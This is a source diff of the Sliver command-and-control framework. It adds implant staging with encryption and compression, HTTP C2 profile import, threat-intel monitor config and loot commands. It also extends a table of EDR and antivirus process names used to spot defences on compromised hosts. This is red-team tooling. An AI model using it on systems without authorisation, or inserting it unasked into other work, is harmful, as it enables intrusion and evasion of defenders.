@@ -44,7 +44,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
|
||||
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
|
||||
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
|
||||
prependSize, _ := cmd.Flags().GetBool("prepend-size")
|
||||
compressF, _ := cmd.Flags().GetString("compress")
|
||||
compress := strings.ToLower(compressF)
|
||||
|
||||
@@ -142,54 +141,6 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
Protocol: clientpb.StageProtocol_HTTP,
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
|
||||
case "https":
|
||||
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
cert, key, err := getLocalCertificatePair(cmd)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
con.PrintErrorf("Failed to load local certificate %s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
Protocol: clientpb.StageProtocol_HTTPS,
|
||||
Data: stage2,
|
||||
Host: stagingURL.Hostname(),
|
||||
Port: uint32(stagingPort),
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: letsEncrypt,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
|
||||
case "tcp":
|
||||
// Always prepend payload size for TCP stagers
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
|
||||
@@ -32,14 +32,12 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
lport, _ := cmd.Flags().GetUint32("lport")
|
||||
nport, _ := cmd.Flags().GetUint32("nport")
|
||||
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
|
||||
persistent, _ := cmd.Flags().GetBool("persistent")
|
||||
|
||||
con.PrintInfof("Starting Wireguard listener ...\n")
|
||||
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
Persistent: persistent,
|
||||
Port: lport,
|
||||
NPort: nport,
|
||||
KeyPort: keyExchangePort,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -197,6 +197,11 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
|
||||
}
|
||||
}
|
||||
|
||||
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
|
||||
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
package monitor
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintWTConfig(resp, con)
|
||||
}
|
||||
|
||||
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
apiKey, _ := cmd.Flags().GetString("apiKey")
|
||||
apiPassword, _ := cmd.Flags().GetString("apiPassword")
|
||||
apiType, _ := cmd.Flags().GetString("type")
|
||||
|
||||
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
|
||||
|
||||
if apiType == "xforce" {
|
||||
MonitoringProvider.APIPassword = apiPassword
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp != nil && resp.Err != "" {
|
||||
con.PrintErrorf("%s\n", resp.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Added monitoring configuration\n")
|
||||
}
|
||||
|
||||
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
|
||||
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
config, err := selectWatchtowerConfig(resp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed monitoring configuration\n")
|
||||
}
|
||||
|
||||
// PrintWTConfig - Print the current watchtower configuration
|
||||
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Type",
|
||||
"APIKey",
|
||||
"APIPassword",
|
||||
})
|
||||
|
||||
color := console.Normal
|
||||
|
||||
for _, config := range configs.Providers {
|
||||
row := table.Row{}
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
|
||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
|
||||
|
||||
var options []string
|
||||
for _, config := range configs.Providers {
|
||||
options = append(options, config.Type)
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a configuration:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, provider := range configs.Providers {
|
||||
if provider.Type == selected {
|
||||
return provider, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
@@ -112,7 +111,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
var saveToFile *os.File
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
saveToFile, err = os.CreateTemp("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating temporary file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -46,14 +46,20 @@ var knownSecurityTools = map[string][]string{
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
|
||||
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
|
||||
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
|
||||
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
|
||||
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
|
||||
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
@@ -86,6 +92,10 @@ var knownSecurityTools = map[string][]string{
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
|
||||
@@ -21,7 +21,7 @@ package reaction
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(reactionFilePath, data, 0o600)
|
||||
return os.WriteFile(reactionFilePath, data, 0o600)
|
||||
}
|
||||
|
||||
// LoadReactions - Save the reactions to the reaction file
|
||||
func LoadReactions() (int, error) {
|
||||
reactionFilePath := GetReactionFilePath()
|
||||
data, err := ioutil.ReadFile(reactionFilePath)
|
||||
data, err := os.ReadFile(reactionFilePath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
@@ -21,7 +21,7 @@ package registry
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
return
|
||||
}
|
||||
} else {
|
||||
v, err = ioutil.ReadFile(binPath)
|
||||
v, err = os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -21,7 +21,6 @@ package screenshot
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
@@ -107,7 +106,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
|
||||
var err error
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
saveToFile, err = os.CreateTemp("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
+101
-5
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/c2profiles"
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
@@ -53,6 +54,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/websites"
|
||||
"github.com/bishopfox/sliver/client/command/wireguard"
|
||||
client "github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/licenses"
|
||||
)
|
||||
@@ -270,7 +272,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(mtlsCmd)
|
||||
|
||||
@@ -288,7 +289,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(wgCmd)
|
||||
|
||||
@@ -307,7 +307,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(dnsCmd)
|
||||
|
||||
@@ -328,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
f.BoolP("staging", "s", false, "enable staging")
|
||||
})
|
||||
server.AddCommand(httpCmd)
|
||||
|
||||
@@ -349,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("enable-staging", "s", false, "enable staging")
|
||||
|
||||
f.StringP("cert", "c", "", "PEM encoded certificate file")
|
||||
f.StringP("key", "k", "", "PEM encoded private key file")
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
server.AddCommand(httpsCmd)
|
||||
|
||||
@@ -667,6 +666,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -675,6 +675,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
server.AddCommand(generateCmd)
|
||||
|
||||
@@ -735,6 +736,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -743,6 +745,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
generateCmd.AddCommand(generateBeaconCmd)
|
||||
|
||||
@@ -922,6 +925,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -930,6 +934,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
@@ -992,6 +997,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
})
|
||||
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["debug-file"] = carapace.ActionFiles()
|
||||
@@ -1000,6 +1006,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = generate.FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
|
||||
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
|
||||
@@ -1016,6 +1023,26 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesRmCmd)
|
||||
|
||||
profilesStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Generate an encrypted and/or compressed implant",
|
||||
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
generate.ProfilesStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "implant name")
|
||||
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
|
||||
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
})
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
|
||||
profilesInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "Details about a profile",
|
||||
@@ -1067,6 +1094,16 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
|
||||
implantBuildsCmd.AddCommand(implantsRmCmd)
|
||||
|
||||
implantStageCmd := &cobra.Command{
|
||||
Use: consts.StageStr,
|
||||
Short: "Serve a previously generated implant",
|
||||
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
generate.ImplantsStageCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
implantBuildsCmd.AddCommand(implantStageCmd)
|
||||
|
||||
canariesCmd := &cobra.Command{
|
||||
Use: consts.CanariesStr,
|
||||
Short: "List previously generated canaries",
|
||||
@@ -1268,6 +1305,14 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
Short: "Monitor threat intel platforms for Sliver implants",
|
||||
GroupID: consts.SliverHelpGroup,
|
||||
}
|
||||
|
||||
configCmd := &cobra.Command{
|
||||
Use: consts.MonitorConfigStr,
|
||||
Short: "Configure monitor API keys",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorConfigCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
monitorCmd.AddCommand(&cobra.Command{
|
||||
Use: "start",
|
||||
Short: "Start the monitoring loops",
|
||||
@@ -1282,6 +1327,23 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
monitor.MonitorStopCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
configCmd.AddCommand(&cobra.Command{
|
||||
Use: "add",
|
||||
Short: "Add API key configuration",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorAddConfigCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
configCmd.AddCommand(&cobra.Command{
|
||||
Use: "del",
|
||||
Short: "Remove API key configuration",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
monitor.MonitorDelConfigCmd(cmd, con, args)
|
||||
},
|
||||
})
|
||||
|
||||
monitorCmd.AddCommand(configCmd)
|
||||
server.AddCommand(monitorCmd)
|
||||
|
||||
// [ Loot ] --------------------------------------------------------------
|
||||
@@ -1789,6 +1851,40 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
|
||||
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
|
||||
}
|
||||
}
|
||||
|
||||
// [ HTTP C2 Profiles ] --------------------------------------------------------------
|
||||
|
||||
ImportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ImportC2ProfileStr,
|
||||
Short: "Import HTTP C2 profile",
|
||||
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
c2profiles.ImportC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2ProfileStr,
|
||||
Short: "Display C2 profile details",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
c2profiles.C2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
|
||||
})
|
||||
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
|
||||
server.AddCommand(C2ProfileCmd)
|
||||
|
||||
// [ Post-command declaration setup]-----------------------------------------
|
||||
|
||||
// Everything below this line should preferably not be any command binding
|
||||
|
||||
@@ -21,7 +21,7 @@ package sgn
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
